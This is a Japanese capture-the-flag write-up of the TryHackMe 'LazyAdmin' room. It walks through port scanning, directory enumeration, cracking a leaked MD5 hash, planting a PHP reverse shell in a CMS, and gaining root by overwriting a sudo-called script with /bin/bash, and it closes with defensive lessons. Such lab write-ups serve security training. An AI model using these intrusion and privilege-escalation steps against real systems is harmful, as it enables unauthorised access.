【TryHackMe】LazyAdmin - Writeup


# はじめに

TryHackMeの **"Lazy Admin"** というルームのWriteupです。
なまけもののAdminをハックしていきましょう！
- 難易度 : Easy

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/3707ad92-df01-eaba-1dba-81b0b43f716f.png)


https://tryhackme.com/room/lazyadmin

### 目標

**Recon** (偵察) → **Enumeration** (列挙) → **GainingAccess** (侵入) → **PrivEsc** (権限昇格)
という流れで進めていきます。
侵入後に **user.txt**、権限昇格後に **root.txt** をゲットするのが目標です。

# Recon

### オープンポート調査

いつも通りnmapでオープンポートを調べていきます。

```
root@ip-10-10-224-4:~# nmap -Pn -A -T4  10.10.122.134

Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-13 03:19 GMT
Nmap scan report for ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)
Host is up (0.0025s latency).
Not shown: 890 closed ports, 108 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:34:74:0F:84:CF (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=2/13%OT=22%CT=1%CU=43575%PV=Y%DS=1%DC=D%G=Y%M=023474%T
OS:M=65CADFE3%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=
OS:6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.53 ms ip-10-10-122-134.eu-west-1.compute.internal (10.10.122.134)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.27 seconds
```
22(ssh), 80(http)のポートが空いているようです。

### Webサイトの偵察

Webサイトを見てみると、Apache2のデフォルトページが表示されました。
開発途中なのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/128f6652-d600-03ae-d70a-3097f1564ca2.png)

### 隠しディレクトリ列挙

gobusterで存在するディレクトリの調査をしていきます。

```
root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.122.134
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 03:31:38 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/content (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/13 03:31:39 Finished
===============================================================
```

`content`しか閲覧可能なディレクトリがないですね。
一応ワードリストを変えて以下のコマンドも実行してみましたが新しく怪しいディレクトリを見つけることはできませんでした。

```
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt  -x php js html -u http://10.10.122.134
```

**/content**

どうやら開発中のようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/ce970f8c-70c3-5147-88d8-94edb8e6ad9e.png)

フッターに`Powered by Basic-CMS.ORG` と書いてあります。
`Basic-CMS`という名前のコンテンツマネジメントシステムが使われているようです。

リンクがあるので踏んでみると、`Basic-CMS`のサイトに飛びました。
あまりサイトがかっこよくないので、架空のCMSなのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/08f23c75-1bc7-3bfb-da49-185acfbebe5e.png)



ソースコードを確認すると、開発中のメモのようなものを見つけました。
Webサイトで利用する予定のソースコードでしょうか。Javascriptが使われているようですね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/312252c5-2e19-3e5e-68f3-301a057789ea.png)

### サブディレクトリ列挙

:::note warn
サブディレクトリ列挙忘れていた
:::

しばらく他にディレクトリがないか調べていたのですが、`/content` 配下のディレクトリスキャンもしないといけないですね。

```
root@ip-10-10-224-4:~# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.122.134/content
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.122.134/content
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/02/13 04:00:49 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.hta (Status: 403)
/.htpasswd (Status: 403)
/_themes (Status: 301)
/as (Status: 301)
/attachment (Status: 301)
/images (Status: 301)
/inc (Status: 301)
/js (Status: 301)
/index.php (Status: 200)
===============================================================
2024/02/13 04:00:49 Finished
===============================================================
```

気になるディレクトリが見つかったので見ていきましょう。

**/content/images**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/e0cba46d-39b9-9148-ca1f-3b3ff088a34f.png)

**/content/inc10.10**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/d4c9d449-0d8d-78aa-790b-38f4b3328bb9.png)

下から５つ目に`mysql_backup` というディレクトリを発見しました。
クリックしてみるとファイルがダウンロードできました。

:::note warn
`mysql_backup` ファイルを発見
:::



![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/1fd5e0a4-1e37-71e4-2e54-6751d5373339.png)

中身を見てみると、ユーザ名とパスワードのハッシュを発見。
chatGPTに聞いたところmd5のハッシュのようです。

```shell
"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";
```

JohnTheRipperでハッシュクラックをしていきます。

```diff
root@ip-10-10-246-84:~# echo "42f749ade7f9e195bf475f37a44cafcb" > hash.txt
root@ip-10-10-246-84:~# john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt   hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ Password123      (?)
1g 0:00:00:00 DONE (2024-02-13 09:22) 50.00g/s 1689Kp/s 1689Kc/s 1689KC/s classof2011..redcat
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 
```

パスワードが分かりましたね。

# Gaining Access


**/content/as**

ログイン画面のようなものを見つけました。先ほどのパスワードでログインしてきましょう！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/eaf722e7-df52-58a8-3cd5-424e9404d637.png)

ログインすると、ダッシュボードが表示されました。

ブログのような機能があるようです。
これはリバースシェルを仕込むしかないですね！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/4a7ee048-6ec8-7245-6e0a-1e073e6dbef0.png)



### リバースシェルを仕込む


こちらのサイトの **"PHP PentestMonkey"** というリバースシェルを使いました。

https://www.revshells.com/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/264deba3-a9dd-7c7f-1007-f0a58a5f397d.png)

これをコピペして、、、ペタッと貼ります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/c15fa4ec-f596-ea8d-0daa-f02652209503.png)


リスナーを起動しておきます。

```
nc -lvnp 7000
```

先ほど仕込んだリバースシェル **"Pentest Monkey"** をクリックして実行します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/576001/7b6176f8-f399-939e-7cd5-c4c936fa89f1.png)

リバースシェルに成功し、侵入することが出来ました！

```
root@ip-10-10-246-84:~# nc -lvnp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.253.173 44252 received!
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 11:31:27 up 47 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

`www-data` でログイン出来ているようですね。

### シェルの安定化

いつも通り、シェルを安定化しておきます。

```shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@THM-Chal:/$ ^Z
[1]+  Stopped                 nc -lvnp 7000
root@ip-10-10-246-84:~# stty raw -echo; fg
nc -lvnp 7000           
www-data@THM-Chal:/$ whoami
www-data
www-data@THM-Chal:/$ export SHELL=bash
www-data@THM-Chal:/$ 
```

# PrivEsc

SUIDかSUDOの脆弱性がないか調査していたら早速見つけました。

```
www-data@THM-Chal:/$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
```

`/usr/bin/perl /home/itguy/backup.pl` だけがsudoで実行できるようです。
`/home/itguy/backup.pl` を書き換えるのかなと思ったが、書き込み権限がありませんでした。

```:backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
```

中身を見てみると、`/etc/copy.sh`が呼ばれているようです。

`/etc/copy.sh` には書き込み権限があったので、シェルで上書きします。

```shell
www-data@THM-Chal:/$ echo "/bin/bash"  > /etc/copy.sh
```

これで`/usr/bin/perl /home/itguy/backup.pl `を実行すれば、sudo権限でさきほど書き込んだ`/bin/bash`　が実行されるはずです。

```shell
www-data@THM-Chal:/$ sudo /usr/bin/perl /home/itguy/backup.pl 
root@THM-Chal:/# whoami
root
root@THM-Chal:/# 
```

:::note warn
`perl /home/itguy/backup.pl`でも良いと思って勘違いしていた
`sudo` が必要なようです
:::

rootにログイン出来ました！

```shell
root@THM-Chal:/etc# export SHELL=bash
root@THM-Chal:/etc# find / -name user.txt 2>/dev/null
/home/itguy/user.txt
root@THM-Chal:/etc# cat /home/itguy/user.txt 
THM{*******************}
root@THM-Chal:/etc# find / -name root.txt 2>/dev/null
/root/root.txt
root@THM-Chal:/etc# cat /root/root.txt 
THM{********************}
root@THM-Chal:/etc# 
```

無事２つのフラグが取得できました！！！

# あとがき

### SweetRiceとは

あとから **SweetRice** について調べてみたのですが、WordpressのようなCMSのようですね。今回のバージョンは`1.5.1`なのですが、ExploitDBにコードが載っていたのでこれを使う方法もあったのかもしれません。

https://www.sweetrice.xyz/

#### ExploitDB - SweetRice1.5.1

任意のファイルアップロードの脆弱性があるようです。

https://www.exploit-db.com/exploits/40716

### コメント

今まで解いたルームの良い復習になりました。
少し時間かかったポイントは以下の通りです。

- サブディレクトリ列挙を忘れていた
- mysql_backupファイルが読めない（→ chatGPTを利用）

防御側としては以下の点に注意しましょう。

:::note warn
- 適切なアクセス制御
    - `mysql_backup` のような重要ファイルを見える場所に置かない
- パスワードリストにあるような脆弱なパスワードを利用しない
- SUDO権限のある実行ファイルへの書き込み権限の制御
:::

**Try Harder!**